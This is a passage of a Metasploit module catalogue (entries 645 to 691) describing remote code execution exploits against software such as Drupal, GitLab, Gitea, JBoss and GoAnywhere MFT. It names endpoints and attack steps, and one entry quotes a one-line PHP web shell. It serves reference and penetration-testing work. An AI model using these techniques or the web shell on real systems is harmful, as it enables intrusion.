
Description:
  This module leverages a pre-authentication remote code execution
vulnerability in the OpenAM identity and
  access management solution. The vulnerability arises from a Java
deserialization flaw in OpenAM’s
  implementation of the Jato framework and can be triggered by a
simple one-line GET or POST request to a
  vulnerable endpoint. Successful exploitation yields code execution
on the target system as the service user.

  This vulnerability also affects the ForgeRock identity platform
which is built on top of OpenAM and is thus
  is susceptible to the same issue.

End Exploit Number 645

Begin Exploit Number 646
       Name: BoidCMS Command Injection
     Module: exploit/multi/http/cve_2023_38836_boidcms
   Platform: 
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-13

Payload information:

Description:
  This module leverages CVE-2023-38836, an improper sanitization bug
in BoidCMS version 2.0.0
  and below.  BoidCMS allows the authenticated upload of a php file as
media if the file has
  the GIF header, even if the file is a php file.

End Exploit Number 646

Begin Exploit Number 647
       Name: Dexter (CasinoLoader) SQL Injection
     Module: exploit/multi/http/dexter_casinoloader_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-02-08
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in the command and
control panel
  used to control Dexter (Point of Sale malware).  This is done by
accessing the
  PHP page used by bots to report in (gateway.php) which does not
sanitize input.
  Input is encrypted and encoded, but the key is supplied by the bot
connecting.
  The 'page' parameter is used in this case.  The command and control
panel designates
  a location to upload files, and can be used as a reliable location
to write a
  PHP shell.  Authentication is not needed to exploit this
vulnerability.

End Exploit Number 647

Begin Exploit Number 648
       Name: DotCMS RCE via Arbitrary File Upload.
     Module: exploit/multi/http/dotcms_file_upload_rce
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-05-03

Payload information:

Description:
  When files are uploaded into dotCMS via the content API, but before
they become content, dotCMS writes the
  file down in a temp directory.  In the case of this vulnerability,
dotCMS does not sanitize the filename
  passed in via the multipart request header and thus does not
sanitize the temp file's name.  This allows a
  specially crafted request to POST files to dotCMS via the
ContentResource (POST /api/content)  that get
  written outside of the dotCMS temp directory.  In the case of this
exploit, an attacker can upload a special
  .jsp file to the webapp/ROOT directory of dotCMS which can allow for
remote code execution.

End Exploit Number 648
```

```
Begin Exploit Number 649
       Name: Drupal HTTP Parameter Key/Value SQL Injection
     Module: exploit/multi/http/drupal_drupageddon
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-15

Payload information:

Description:
  This module exploits the Drupal HTTP Parameter Key/Value SQL
Injection
  (aka Drupageddon) in order to achieve a remote shell on the
vulnerable
  instance. This module was tested against Drupal 7.0 and 7.31 (was
fixed
  in 7.32).

  Two methods are available to trigger the PHP payload on the target:

  - set TARGET 0:
    Form-cache PHP injection method (default).
    This uses the SQLi to upload a malicious form to Drupal's cache,
    then trigger the cache entry to execute the payload using a POP
chain.

  - set TARGET 1:
    User-post injection method.
    This creates a new Drupal user, adds it to the administrators
group,
    enable Drupal's PHP module, grant the administrators the right to
    bundle PHP code in their post, create a new post containing the
    payload and preview it to trigger the payload execution.

End Exploit Number 649

Begin Exploit Number 650
       Name: Network Shutdown Module (sort_values) Remote PHP Code
Injection
     Module: exploit/multi/http/eaton_nsm_code_exec
   Platform: Linux, PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-26
```

```
Payload information:
  Space: 4000

Description:
  This module exploits a vulnerability in Eaton Network Shutdown
Module
  version <= 3.21, in lib/dbtools.inc which uses unsanitized user
input
  inside a eval() call. Additionally the base64 encoded user
credentials
  are extracted from the database of the application. Please note that
  in order to be able to steal credentials, the vulnerable service
must
  have at least one USV module (an entry in the "nodes" table in
  mgedb.db)

End Exploit Number 650

Begin Exploit Number 651
       Name: ManageEngine Eventlog Analyzer Arbitrary File Upload
     Module: exploit/multi/http/eventlog_file_upload
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-31

Payload information:

Description:
  This module exploits a file upload vulnerability in ManageEngine
Eventlog Analyzer.
  The vulnerability exists in the agentUpload servlet which accepts
unauthenticated
  file uploads and handles zip file contents in an insecure way. By
combining both
  weaknesses a remote attacker can achieve remote code execution. This
module has been
  tested successfully on versions v7.0 - v9.9 b9002 in Windows and
Linux. Versions
  between 7.0 and < 8.1 are only exploitable via EAR deployment in the
JBoss server,
  while versions 8.1+ are only exploitable via a JSP upload.

End Exploit Number 651

Begin Exploit Number 652
       Name: eXtplorer v2.1 Arbitrary File Upload Vulnerability
     Module: exploit/multi/http/extplorer_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-31

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in
eXtplorer
  versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone
application.
  This application has an upload feature that allows an authenticated
user
  with administrator roles to upload arbitrary files to any writable
  directory in the web root. This module uses an authentication bypass
  vulnerability to upload and execute a file.

End Exploit Number 652

Begin Exploit Number 653
       Name: Family Connections less.php Remote Command Execution
     Module: exploit/multi/http/familycms_less_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-29

Payload information:

Description:
  This module exploits an arbitrary command execution vulnerability in
  Family Connections 2.7.1. It's in the dev/less.php script and is due
  to an insecure use of system().  Authentication isn't required to
exploit
  the vulnerability but register_globals must be set to On.

End Exploit Number 653

Begin Exploit Number 654
       Name: Fortra GoAnywhere MFT Unauthenticated Remote Code
Execution
     Module: exploit/multi/http/
fortra_goanywhere_mft_rce_cve_2024_0204
   Platform: Linux, Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-22

Payload information:

Description:
  This module exploits a vulnerability in Fortra GoAnywhere MFT that 
allows an unauthenticated attacker to
  create a new administrator account. This can be leveraged to upload 
a JSP payload and achieve RCE. GoAnywhere
  MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.

End Exploit Number 654

Begin Exploit Number 655
       Name: Fortra GoAnywhere MFT Unsafe Deserialization RCE
     Module: exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-02-01

Payload information:

Description:
  This module exploits CVE-2023-0669, which is an object 
deserialization
  vulnerability in Fortra GoAnywhere MFT.

End Exploit Number 655

Begin Exploit Number 656
       Name: FreeNAS exec_raw.php Arbitrary Command Execution
     Module: exploit/multi/http/freenas_exec_raw
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-06

Payload information:
  Space: 6144
  Avoid: 7 characters

Description:
  This module exploits an arbitrary command execution flaw
  in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
  to the exec_raw.php page, an attacker may be able to execute
arbitrary
  commands.

  NOTE: This module works best with php/meterpreter payloads.

End Exploit Number 656

Begin Exploit Number 657
       Name: Gambio Online Webshop unauthenticated PHP Deserialization
Vulnerability
     Module: exploit/multi/http/gambio_unauth_rce_cve_2024_23759
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-19

Payload information:

Description:
  A Remote Code Execution vulnerability in Gambio online webshop
version 4.9.2.0 and lower
  allows remote attackers to run arbitrary commands via
unauthenticated HTTP POST request.
  The identified vulnerability within Gambio pertains to an insecure
deserialization flaw,
  which ultimately allows an attacker to execute remote code on
affected systems.
  The insecure deserialization vulnerability in Gambio poses a
significant risk to affected systems.
  As it allows remote code execution, adversaries could exploit this
flaw to execute arbitrary commands,
  potentially resulting in complete system compromise, data
exfiltration, or unauthorized access
  to sensitive information.

End Exploit Number 657

Begin Exploit Number 658
       Name: Geoserver unauthenticated Remote Code Execution
     Module: exploit/multi/http/geoserver_unauth_rce_cve_2024_36401
   Platform: Unix, Linux
       Arch: cmd, x86, x64, aarch64, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-07-01

Payload information:

Description:
  GeoServer is an open-source software server written in Java that
provides
  the ability to view, edit, and share geospatial data.
  It is designed to be a flexible, efficient solution for distributing
geospatial data
  from a variety of sources such as Geographic Information System
(GIS) databases,
  web-based data, and personal datasets.
  In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >=
2.25.0, < 2.25.1,
  multiple OGC request parameters allow Remote Code Execution (RCE) by
unauthenticated users
  through specially crafted input against a default GeoServer
installation due to unsafely
  evaluating property names as XPath expressions.
  An attacker can abuse this by sending a POST request with a
malicious xpath expression
  to execute arbitrary commands as root on the system.

End Exploit Number 658

Begin Exploit Number 659
       Name: GestioIP Remote Command Execution
     Module: exploit/multi/http/gestioip_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-04

Payload information:
  Space: 475
  Avoid: 0 characters

Description:
  This module exploits a command injection flaw to create a shell
script
  on the filesystem and execute it. If GestioIP is configured to use
no authentication,
  no password is required to exploit the vulnerability. Otherwise, an
authenticated
  user is required to exploit.

End Exploit Number 659
```

```
Begin Exploit Number 660
       Name: GetSimpleCMS Unauthenticated RCE
     Module: exploit/multi/http/getsimplecms_unauth_code_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-28

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in GetSimpleCMS,
  which allows unauthenticated attackers to perform Remote Code
Execution.
  An arbitrary file upload (PHPcode for example) vulnerability can be
triggered by an authenticated user,
  however authentication can be bypassed by leaking the cms API key to
target the session manager.

End Exploit Number 660

Begin Exploit Number 661
       Name: Gibbon School Platform Authenticated PHP Deserialization
Vulnerability
     Module: exploit/multi/http/gibbon_auth_rce_cve_2024_24725
   Platform: PHP, Unix, Linux, Windows
       Arch: php, cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-18

Payload information:

Description:
  A Remote Code Execution vulnerability in Gibbon online school
platform version 26.0.00 and lower
  allows remote authenticated users to conduct PHP deserialization
attacks via columnOrder in a
  POST request to the endpoint `/modules/System%20Admin/
import_run.php&type=externalAssessment&step=4`.
  As it allows remote code execution, adversaries could exploit this
flaw to execute arbitrary commands,
  potentially resulting in complete system compromise, data
exfiltration, or unauthorized access
  to sensitive information.
```

```
End Exploit Number 661

Begin Exploit Number 662
       Name: Malicious Git and Mercurial HTTP Server For CVE-2014-9390
     Module: exploit/multi/http/git_client_command_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-18

Payload information:

Description:
  This module exploits CVE-2014-9390, which affects Git (versions less
  than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
  less than 3.2.3) and describes three vulnerabilities.

  On operating systems which have case-insensitive file systems, like
  Windows and OS X, Git clients can be convinced to retrieve and
  overwrite sensitive configuration files in the .git
  directory which can allow arbitrary code execution if a vulnerable
  client can be convinced to perform certain actions (for example,
  a checkout) against a malicious Git repository.

  A second vulnerability with similar characteristics also exists in 
both
  Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, 
where
  certain Unicode codepoints are ignorable.

  The third vulnerability with similar characteristics only affects
  Mercurial clients on Windows, where Windows "short names"
  (MS-DOS-compatible 8.3 format) are supported.

  Today this module only truly supports the first vulnerability (Git
  clients on case-insensitive file systems) but has the functionality 
to
  support the remaining two with a little work.

End Exploit Number 662

Begin Exploit Number 663
       Name: Git LFS Clone Command Exec
     Module: exploit/multi/http/git_lfs_clone_command_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-04-26

Payload information:

Description:
  Git clients that support delay-capable clean / smudge
  filters and symbolic links on case-insensitive file systems are
  vulnerable to remote code execution while cloning a repository.

  Usage of clean / smudge filters through Git LFS and a
  case-insensitive file system changes the checkout order
  of repository files which enables the placement of a Git hook
  in the `.git/hooks` directory. By default, this module writes
  a `post-checkout` script so that the payload will automatically
  be executed upon checkout of the repository.

End Exploit Number 663

Begin Exploit Number 664
       Name: Malicious Git HTTP Server For CVE-2017-1000117
     Module: exploit/multi/http/git_submodule_command_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-10

Payload information:

Description:
  This module exploits CVE-2017-1000117, which affects Git
  version 2.7.5 and lower. A submodule of the form 'ssh://' can be
passed
  parameters from the username incorrectly. This can be used to inject
  commands to the operating system when the submodule is cloned.

  This module creates a fake git repository which contains a submodule
  containing the vulnerability. The vulnerability is triggered when
the
  submodules are initialised.

End Exploit Number 664

Begin Exploit Number 665
       Name: Malicious Git HTTP Server For CVE-2018-17456
     Module: exploit/multi/http/git_submodule_url_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-05

Payload information:

Description:
  This module exploits CVE-2018-17456, which affects Git
  versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and
lower.

  When a submodule url which starts with a dash e.g "-u./payload" is
passed
  as an argument to git clone, the file "payload" inside the
repository
  is executed.

  This module creates a fake git repository which contains a submodule
  containing the vulnerability. The vulnerability is triggered when
the
  submodules are initialised (e.g git clone --recurse-submodules URL)

End Exploit Number 665

Begin Exploit Number 666
       Name: Gitea Git Fetch Remote Code Execution
     Module: exploit/multi/http/gitea_git_fetch_rce
   Platform: Unix, Linux, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-05-16

Payload information:

Description:
  This module exploits Git fetch command in Gitea repository migration
  process that leads to a remote command execution on the system.
  This vulnerability affect Gitea before 1.16.7 version.

End Exploit Number 666

Begin Exploit Number 667
       Name: Gitea Git Hooks Remote Code Execution
     Module: exploit/multi/http/gitea_git_hooks_rce
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-07

Payload information:

Description:
  This module leverages an insecure setting to get remote code
  execution on the target OS in the context of the user running Gitea.
  This is possible when the current user is allowed to create `git
  hooks`, which is the default for administrative users. For
  non-administrative users, the permission needs to be specifically
  granted by an administrator.

  To achieve code execution, the module authenticates to the Gitea web
  interface, creates a temporary repository, sets a `post-receive` git
  hook with the payload and creates a dummy file in the repository.
  This last action will trigger the git hook and execute the payload.
  Everything is done through the web interface.

  It has been mitigated in version 1.13.0 by setting the Gitea
  `DISABLE_GIT_HOOKS` configuration setting to `true` by default. This
  disables this feature and prevents all users (including admin) from
  creating custom git hooks.

  This module has been tested successfully against docker versions
1.12.5,
  1.12.6 and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on
  version 1.12.6 on Windows.

End Exploit Number 667

Begin Exploit Number 668
       Name: GitLab Unauthenticated Remote ExifTool Command Injection
     Module: exploit/multi/http/gitlab_exif_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-04-14

Payload information:

Description:
  This module exploits an unauthenticated file upload and command
  injection vulnerability in GitLab Community Edition (CE) and
  Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
  and 13.8.8.
  Exploitation will result in command execution as the git user.

End Exploit Number 668

Begin Exploit Number 669
       Name: GitLab File Read Remote Code Execution
     Module: exploit/multi/http/gitlab_file_read_rce
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-26

Payload information:

Description:
  This module provides remote code execution against GitLab Community
  Edition (CE) and Enterprise Edition (EE). It combines an arbitrary
file
  read to extract the Rails "secret_key_base", and gains remote code
  execution with a deserialization vulnerability of a signed
  'experimentation_subject_id' cookie that GitLab uses internally for
A/B
  testing.

  Note that the arbitrary file read exists in GitLab EE/CE 8.5 and
later,
  and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only
affects
  versions 12.4.0 and above when the vulnerable
`experimentation_subject_id`
  cookie was introduced.

  Tested on GitLab 12.8.1 and 12.4.0.

End Exploit Number 669

Begin Exploit Number 670
       Name: GitLab GitHub Repo Import Deserialization RCE
     Module: exploit/multi/http/gitlab_github_import_rce_cve_2022_2992
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-06

Payload information:
```

```
Description:
  An authenticated user can import a repository from GitHub into
GitLab.
  If a user attempts to import a repo from an attacker-controlled
server,
  the server will reply with a Redis serialization protocol object in
the nested
  `default_branch`. GitLab will cache this object and
  then deserialize it when trying to load a user session, resulting in
RCE.

End Exploit Number 670

Begin Exploit Number 671
       Name: Gitlab-shell Code Execution
     Module: exploit/multi/http/gitlab_shell_exec
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-04

Payload information:

Description:
  This module takes advantage of the addition of authorized
  ssh keys in the gitlab-shell functionality of Gitlab. Versions
  of gitlab-shell prior to 1.7.4 used the ssh key provided directly
  in a system call resulting in a command injection vulnerability. As
  this relies on adding an ssh key to an account, valid credentials
  are required to exploit this vulnerability.

End Exploit Number 671

Begin Exploit Number 672
       Name: GitList v0.6.0 Argument Injection Vulnerability
     Module: exploit/multi/http/gitlist_arg_injection
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-04-26

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an argument injection vulnerability in GitList
v0.6.0.
  The vulnerability arises from GitList improperly validating input
using the php function
  'escapeshellarg'.

End Exploit Number 672

Begin Exploit Number 673
       Name: Gitorious Arbitrary Command Execution
     Module: exploit/multi/http/gitorious_graph
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-19

Payload information:
  Space: 31337
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command execution vulnerability
  in gitorious. Unvalidated input is passed to the shell allowing
  command execution.

End Exploit Number 673

Begin Exploit Number 674
       Name: Sun/Oracle GlassFish Server Authenticated Code Execution
     Module: exploit/multi/http/glassfish_deployer
   Platform: Windows, Linux, Java
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-08-04

Payload information:

Description:
  This module logs in to a GlassFish Server (Open Source or
Commercial) using various
  methods (such as authentication bypass, default credentials, or
user-supplied login),
  and deploys a malicious war file in order to get remote code
execution. It has been
  tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application
Server 9.x. Newer
```

```
  GlassFish versions do not allow remote access (Secure Admin) by
default, but is required
  for exploitation.

End Exploit Number 674

Begin Exploit Number 675
       Name: Glossword v1.8.8 - 1.8.12 Arbitrary File Upload
Vulnerability
     Module: exploit/multi/http/glossword_upload_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-05

Payload information:

Description:
  This module exploits a file upload vulnerability in Glossword
  versions 1.8.8 to 1.8.12 when run as a standalone application.
  This application has an upload feature that allows an authenticated
user
  with administrator roles to upload arbitrary files to the 'gw_temp/
a/'
  directory.

End Exploit Number 675

Begin Exploit Number 676
       Name: GLPI install.php Remote Command Execution
     Module: exploit/multi/http/glpi_install_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-09-12

Payload information:
  Space: 4000
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command execution vulnerability in
the
  GLPI 'install.php' script. This module is set to ManualRanking due
to this
  module overwriting the target database configuration, which may
```

```
introduce target
  instability.

End Exploit Number 676

Begin Exploit Number 677
       Name: Gogs Git Hooks Remote Code Execution
     Module: exploit/multi/http/gogs_git_hooks_rce
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-07

Payload information:

Description:
  This module leverages an insecure setting to get remote code
  execution on the target OS in the context of the user running Gogs.
  This is possible when the current user is allowed to create `git
  hooks`, which is the default for administrative users. For
  non-administrative users, the permission needs to be specifically
  granted by an administrator.

  To achieve code execution, the module authenticates to the Gogs web
  interface, creates a temporary repository, sets a `post-receive` git
  hook with the payload and creates a dummy file in the repository.
  This last action will trigger the git hook and execute the payload.
  Everything is done through the web interface.

  No mitigation has been implemented so far (latest stable version is
  0.12.3).

  This module has been tested successfully against version 0.12.3 on
  docker. Windows version could not be tested since the git hook
feature
  seems to be broken.

End Exploit Number 677

Begin Exploit Number 678
       Name: Horde CSV import arbitrary PHP code execution
     Module: exploit/multi/http/horde_csv_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-07
```

```
Payload information:
  Avoid: 1 characters

Description:
  The Horde_Data module version 2.1.4 (and before) present in Horde
  Groupware version 5.2.22 allows authenticated users to inject
  arbitrary PHP code thus achieving RCE on the server hosting the web
  application.

End Exploit Number 678

Begin Exploit Number 679
       Name: Horde Form File Upload Vulnerability
     Module: exploit/multi/http/horde_form_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-24

Payload information:

Description:
  Horde Groupware Webmail contains a flaw that allows an authenticated
remote
  attacker to execute arbitrary PHP code. The exploitation requires
the Turba
  subcomponent to be installed.

  This module was tested on Horde versions 5.2.22 and 5.2.17 running
Horde Form subcomponent < 2.0.19.

End Exploit Number 679

Begin Exploit Number 680
       Name: Horde 3.3.12 Backdoor Arbitrary PHP Code Execution
     Module: exploit/multi/http/horde_href_backdoor
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-02-13

Payload information:
  Space: 4096
  Avoid: 2 characters
```

```
Description:
  This module exploits an arbitrary PHP code execution vulnerability
introduced
  as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.

End Exploit Number 680

Begin Exploit Number 681
       Name: HorizontCMS Arbitrary PHP File Upload
     Module: exploit/multi/http/horizontcms_upload_exec
   Platform: Linux, Windows, PHP
       Arch: x86, x64, php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-24

Payload information:
  Avoid: 3 characters

Description:
  This module exploits an arbitrary file upload vulnerability in
  HorizontCMS 1.0.0-beta in order to execute arbitrary commands.

  The module first attempts to authenticate to HorizontCMS. It then
tries
  to upload a malicious PHP file via an HTTP POST request to
  `/admin/file-manager/fileupload`. The server will rename this file
to a
  random string. The module will therefore attempt to change the
filename
  back to the original name via an HTTP POST request to
  `/admin/file-manager/rename`. For the `php` target, the payload is
  embedded in the uploaded file and the module attempts to execute the
  payload via an HTTP GET request to `/storage/file_name`. For the
`linux`
  and `windows` targets, the module uploads a simple PHP web shell
  similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it
leverages
  the CmdStager mixin to deliver the final payload via a series of
HTTP
  GET requests to the PHP web shell.

  Valid credentials for a HorizontCMS user with permissions to use the
  FileManager are required. This would be all users in the Admin,
Manager
  and Editor groups if HorizontCMS is configured with the default
group
  settings.This module has been successfully tested against
HorizontCMS
```

```
  1.0.0-beta running on Ubuntu 18.04.

End Exploit Number 681

Begin Exploit Number 682
       Name: HP SiteScope issueSiebelCmd Remote Code Execution
     Module: exploit/multi/http/hp_sitescope_issuesiebelcmd
   Platform: Windows, Unix
       Arch: x86, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-10-30

Payload information:
  Space: 2048

Description:
  This module exploits a code execution flaw in HP SiteScope. The 
vulnerability exists in the
  APISiteScopeImpl web service, specifically in the issueSiebelCmd 
method, which allows the
  user to execute arbitrary commands without authentication. This 
module has been tested
  successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 
2008 and CentOS 6.5.

End Exploit Number 682

Begin Exploit Number 683
       Name: HP SiteScope Remote Code Execution
     Module: exploit/multi/http/hp_sitescope_uploadfileshandler
   Platform: Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-08-29

Payload information:

Description:
  This module exploits a code execution flaw in HP SiteScope. It 
exploits two
  vulnerabilities in order to get its objective. An authentication 
bypass in the
  create operation, available through the APIPreferenceImpl AXIS 
service, to create
  a new account with empty credentials and, subsequently, uses the new 
account to
```

```
  abuse the UploadManagerServlet and upload an arbitrary payload
embedded in a JSP.
  The module has been tested successfully on HP SiteScope 11.20 over
Windows 2003 SP2
  and Linux CentOS 6.3.

End Exploit Number 683

Begin Exploit Number 684
       Name: HP System Management Homepage JustGetSNMPQueue Command
Injection
     Module: exploit/multi/http/hp_sys_mgmt_exec
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-11

Payload information:

Description:
  This module exploits a vulnerability found in HP System Management
Homepage.  By
  supplying a specially crafted HTTP request, it is possible to
control the
  'tempfilename' variable in function JustGetSNMPQueue (found in
ginkgosnmp.inc),
  which will be used in a exec() function.

End Exploit Number 684

Begin Exploit Number 685
       Name: VMware Hyperic HQ Groovy Script-Console Java Execution
     Module: exploit/multi/http/hyperic_hq_script_console
   Platform: Windows, Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-10

Payload information:

Description:
  This module uses the VMware Hyperic HQ Groovy script console to
execute
  OS commands using Java. Valid credentials for an application
administrator
  user account are required. This module has been tested successfully
```

```
with
  Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.

End Exploit Number 685

Begin Exploit Number 686
       Name: IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution
     Module: exploit/multi/http/
ibm_openadmin_tool_soap_welcomeserver_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-30

Payload information:

Description:
  This module exploits an unauthenticated remote PHP code execution
  vulnerability in IBM OpenAdmin Tool included with IBM Informix
  versions 11.5, 11.7, and 12.1.

  The 'welcomeServer' SOAP service does not properly validate user
input
  in the 'new_home_page' parameter of the 'saveHomePage' method
allowing
  arbitrary PHP code to be written to the config.php file. The
config.php
  file is executed in most pages within the application, and
accessible
  directly via the web root, resulting in code execution.

  This module has been tested successfully on IBM OpenAdmin Tool 3.14
  on Informix 12.10 Developer Edition (SUSE Linux 11) virtual
appliance.

End Exploit Number 686

Begin Exploit Number 687
       Name: ISPConfig Authenticated Arbitrary PHP Code Execution
     Module: exploit/multi/http/ispconfig_php_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-30

Payload information:
  Avoid: 5 characters

Description:
  ISPConfig allows an authenticated administrator to export language 
settings into a PHP script
  which is intended to be reuploaded later to restore language 
settings. This feature
  can be abused to run aribitrary PHP code remotely on the ISPConfig 
server.

  This module was tested against version 3.0.5.2.

End Exploit Number 687

Begin Exploit Number 688
       Name: JBoss JMX Console Beanshell Deployer WAR Upload and 
Deployment
     Module: exploit/multi/http/jboss_bshdeployer
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Excellent
  Disclosed: 2010-04-26

Payload information:

Description:
  This module can be used to install a WAR file payload on JBoss 
servers that have
  an exposed "jmx-console" application. The payload is put on the 
server by
  using the jboss.system:BSHDeployer\'s createScriptDeployment() 
method.

End Exploit Number 688

Begin Exploit Number 689
       Name: JBoss Java Class DeploymentFileRepository WAR Deployment
     Module: exploit/multi/http/jboss_deploymentfilerepository
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-04-26

Payload information:

Description:
  This module uses the DeploymentFileRepository class in
  JBoss Application Server (jbossas) to deploy a JSP file
  which then deploys the WAR file.

End Exploit Number 689

Begin Exploit Number 690
       Name: JBoss DeploymentFileRepository WAR Deployment (via
JMXInvokerServlet)
     Module: exploit/multi/http/jboss_invoke_deploy
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-02-20

Payload information:

Description:
  This module can be used to execute a payload on JBoss servers that
have an
  exposed HTTPAdaptor's JMX Invoker exposed on the
"JMXInvokerServlet". By invoking
  the methods provided by jboss.admin:DeploymentFileRepository a
stager is deployed
  to finally upload the selected payload to the target. The
DeploymentFileRepository
  methods are only available on Jboss 4.x and 5.x.

End Exploit Number 690

Begin Exploit Number 691
       Name: JBoss JMX Console Deployer Upload and Execute
     Module: exploit/multi/http/jboss_maindeployer
   Platform: Java, Linux, Windows
       Arch: 
